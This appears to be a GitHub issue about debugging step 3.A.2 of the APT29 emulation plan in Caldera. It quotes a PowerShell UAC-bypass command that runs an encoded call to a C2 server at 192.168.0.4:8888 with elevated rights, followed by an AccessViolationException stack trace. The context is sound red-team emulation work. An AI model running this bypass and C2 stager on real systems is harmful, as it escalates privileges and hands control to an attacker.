Bypass User Account Control step 3.A.2 - error with new ability in Emulation Plan

[leonardogavaudan]

Hi all,

I'm using the Emu plugin as well as the dev version of Caldera in order to launch APT 29 simulated attacks

I've found/encountered an error in the Bypass User Account Control step 3.A.2 in

adversary_emulation_library/blob/master/apt29/Emulation_Plan/yaml/APT29.yaml

This issue is related to a broader issue post about new abilities in the Emulation Plan compared to the 2.6.6 CALDERA DIY

Any help or advice is much appreciated!

Command launched through Caldera:

Import-Module .\Invoke-BypassUACTokenManipulation.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('http://192.168.0.4:8888')"));
Invoke-BypassUACTokenManipulation -Arguments "-nop -exec bypass -EncodedCommand $pcode" -Verbose

Line that produces the error in Caldera command:

Invoke-BypassUACTokenManipulation -Arguments "-nop -exec bypass -EncodedCommand $pcode" -Verbose

Basic explanation of command:

As I understand it, the line calls the Invoke-BypassUACTokenManipulation function inside Invoke-BypassUACTokenManipulation.ps1, which then calls the EnumProcess function.

EnumProcess is in charge of listing, and opening Processes, then opening their AccessToken, and inspect their Integrity Levels. If the Integrity level is correct, the function then returns the corresponding Process Id.

Error in the EnumProcess function - Invoke-BypassUACTokenManipulation.ps1 file:

The error takes in this line of code:

[int]$IntegrityLevel = [System.Runtime.InteropServices.Marshal]::ReadInt32($advapi32::GetSidSubAuthority($pSid1, ([System.Runtime.InteropServices.Marshal]::ReadByte($Advapi32::GetSidSubAuthorityCount($pSid1)) - 1)))

Line 901

and more specifically when this section of the line gets executed:

([System.Runtime.InteropServices.Marshal]::ReadByte($Advapi32::GetSidSubAuthorityCount($pSid1)) - 1)

Message error:

Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
   at System.Runtime.InteropServices.Marshal.ReadByte(IntPtr ptr, Int32 ofs)
   at CallSite.Target(Closure , CallSite , Type , Object )
   at System.Management.Automation.Interpreter.DynamicInstruction`3.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0)
   at System.Management.Automation.ScriptBlock.InvokeWithPipeImpl(ScriptBlockClauseToInvoke clauseToInvoke, Boolean createLocalScope, Dictionary`2 functionsToDefine, List`1 variablesToDefine, ErrorHandlingBehavior errorHandlingBehavior, Object dollarUnder, Object input, Object scriptThis, Pipe outputPipe, InvocationInfo invocationInfo, Object[] args)
   at System.Management.Automation.ScriptBlock.<>c__DisplayClass57_0.<InvokeWithPipe>b__0()
   at System.Management.Automation.Runspaces.RunspaceBase.RunActionIfNoRunningPipelinesWithThreadCheck(Action action)
   at System.Management.Automation.ScriptBlock.InvokeWithPipe(Boolean useLocalScope, ErrorHandlingBehavior errorHandlingBehavior, Object dollarUnder, Object input, Object scriptThis, Pipe outputPipe, InvocationInfo invocationInfo, Boolean propagateAllExceptionsToTop, List`1 variablesToDefine, Dictionary`2 functionsToDefine, Object[] args)
   at System.Management.Automation.ScriptBlock.InvokeUsingCmdlet(Cmdlet contextCmdlet, Boolean useLocalScope, ErrorHandlingBehavior errorHandlingBehavior, Object dollarUnder, Object input, Object scriptThis, Object[] args)
   at Microsoft.PowerShell.Commands.ForEachObjectCommand.ProcessRecord()
   at System.Management.Automation.CommandProcessor.ProcessRecord()
   at System.Management.Automation.CommandProcessorBase.DoExecute()
   at System.Management.Automation.Internal.Pipe.AddToPipe(Object obj)
   at System.Security.SecurityContext.Run(SecurityContext securityContext, ContextCallback callback, Object state)
   at System.Management.Automation.MshCommandRuntime.WriteObject(Object sendToPipeline)
   at System.Management.Automation.Cmdlet.WriteObject(Object sendToPipeline)
   at Microsoft.PowerShell.Commands.GetProcessCommand.ProcessRecord()
   at System.Management.Automation.CommandProcessor.ProcessRecord()
   at System.Management.Automation.CommandProcessorBase.DoExecute()
   at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
   at System.Management.Automation.PipelineOps.InvokePipeline(Object input, Boolean ignoreInput, CommandParameterInternal[][] pipeElements, CommandBaseAst[] pipeElementAsts, CommandRedirection[][] commandRedirections, FunctionContext funcContext)
   at System.Management.Automation.Interpreter.ActionCallInstruction`6.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0)
   at System.Management.Automation.DlrScriptCommandProcessor.RunClause(Action`1 clause, Object dollarUnderbar, Object inputToProcess)
   at System.Management.Automation.DlrScriptCommandProcessor.Complete()
   at System.Management.Automation.CommandProcessorBase.DoComplete()
   at System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop)
   at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
   at System.Management.Automation.PipelineOps.InvokePipeline(Object input, Boolean ignoreInput, CommandParameterInternal[][] pipeElements, CommandBaseAst[] pipeElementAsts, CommandRedirection[][] commandRedirections, FunctionContext funcContext)
   at System.Management.Automation.Interpreter.ActionCallInstruction`6.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0)
   at System.Management.Automation.PSScriptCmdlet.RunClause(Action`1 clause, Object dollarUnderbar, Object inputToProcess)
   at System.Management.Automation.PSScriptCmdlet.DoEndProcessing()
   at System.Management.Automation.CommandProcessorBase.Complete()
   at System.Management.Automation.CommandProcessorBase.DoComplete()
   at System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop)
   at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
   at System.Management.Automation.PipelineOps.InvokePipeline(Object input, Boolean ignoreInput, CommandParameterInternal[][] pipeElements, CommandBaseAst[] pipeElementAsts, CommandRedirection[][] commandRedirections, FunctionContext funcContext)
   at System.Management.Automation.Interpreter.ActionCallInstruction`6.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0)
   at System.Management.Automation.DlrScriptCommandProcessor.RunClause(Action`1 clause, Object dollarUnderbar, Object inputToProcess)
   at System.Management.Automation.DlrScriptCommandProcessor.Complete()
   at System.Management.Automation.CommandProcessorBase.DoComplete()
   at System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop)
   at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
   at System.Management.Automation.Runspaces.LocalPipeline.InvokeHelper()
   at System.Management.Automation.Runspaces.LocalPipeline.InvokeThreadProc()
   at System.Management.Automation.Runspaces.PipelineThread.WorkerProc()
   at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
   at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
   at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
   at System.Threading.ThreadHelper.ThreadStart()